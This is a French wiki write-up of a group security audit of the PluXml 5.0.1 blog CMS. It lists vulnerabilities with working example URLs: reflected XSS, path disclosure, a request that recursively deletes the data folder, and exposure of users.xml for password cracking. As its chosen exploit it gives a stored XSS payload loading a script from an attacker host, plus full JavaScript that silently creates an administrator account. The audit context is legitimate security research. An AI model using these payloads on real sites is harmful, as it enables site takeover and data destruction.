Outils d'utilisateurs

Outils du Site


zenk_roulettes:zenk_roulette_2

Zenk Roulette 2 : PluXml 5.0.1

Date : le mardi 10 août 2010 de 19h à 23h00

Application auditée : PluXml 5.0.1 : http://pluxml.org

Description : Il s'agit d'un CMS qui permet de gérer un Blog / Site. Sa particularité est d'être “Databaseless”. En effet, toutes les données sont stockées dans des fichiers XML

Pad : http://piratepad.net/E5ZA3mDptU


Défauts de sécurité :

De nombreux défauts de sécurité ont été identifiés. Certains sont exploitables en tant que simple visiteur du site et d'autres ne sont accessibles qu'à une personne ayant les droits limités d'un rédacteur.

  • Fuite du numéro de version (trance) :
http://localhost/pluxml/version
  • Possibilité de lister le contenu de la plupart des dossiers. Pas de .htaccess (Asus).
  • XSS Non persistante à l'invite d'administration (sh4ka) :
http://localhost/pluxml/core/admin/auth.php?p=1337%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
  • Pour poster un commentaire un captcha est affiché en toutes lettres, on demande simplement l'offset d'une lettre, qui est écrit en français. Facilement contournable automatiquement en testant les différentes possibilités (“première” ⇒ 1, “deuxième” ⇒ 2, etc) (trance).
  • Full Path :
http://localhost/pluxml/core/lib/class.plx.admin.php
http://localhost/pluxml/core/lib/class.plx.feed.php
http://localhost/pluxml/core/lib/class.plx.updater.php

(tryks & BaRBcH).

  • Exécution de code PHP dans les pages statiques en tant qu' “Administrateur” uniquement (trance).
  • Un rédacteur peut rendre le fichier users.xml lisible de tous. Il peut en effet le déplacer par le biais de l'interface de gestion des médias ( http://localhost/pluxml/core/admin/medias.php ) afin de le mettre dans n'importe quel dossier, bypassant ainsi le .htaccess du dossier data/configuration. John (ou Sorcier_FXK) n'a plus qu'à finir le travail pour obtenir le mot de passe en clair. (Asus)
  • Un rédacteur peut supprimer récursivement tout le contenu du dossier data et ainsi rendre le site inactif et effacer toutes ses données :
http://localhost/pluxml/core/admin/medias.php?hash=tGJN5ZTw6i&deldir=..&dir=

(Asus).


Solution retenue :

XSS Persistante dans le champ “Site” du formulaire de commentaires (BuRner) :

http://www.rogue.com"><script src=http://attaquant/pluxploit.js></script>

Ainsi, il suffira à l'administrateur de se connecter à la page de l'article contenant le commentaire piégé pour qu'un nouvel administrateur soit créé.

Code source de pluxploit.js (BuRner) :

pluxploit.js
/******************************************
 *
 * Author: Zenk-Security
 * App: Pluxml 5.0.1
 * Type: Persistent XSS expoitation
 * Function: Create Administrator account
 *
 *****************************************/
 
function createXMLHttpRequest()
{
   try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {}
   try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
   try { return new XMLHttpRequest(); } catch(e) {}
   return null;
}
 
var ajax = createXMLHttpRequest();
if(ajax != null)
{
	var params = 'userNum[]=999&999_newuser=true&999_name=user&999_infos=&999_login=login&999_password=pass&999_profil=0&999_active=1&selection=&update=Modifier+la+liste+des+utilisateurs';
 
	ajax.open('POST', '/pluxml/core/admin/parametres_users.php', true);
	ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	ajax.setRequestHeader("Content-length", params.length);
	ajax.setRequestHeader("Connection", "close");
	ajax.send(params);
}
zenk_roulettes/zenk_roulette_2.txt · Dernière modification: 2017/04/09 15:33 (modification externe)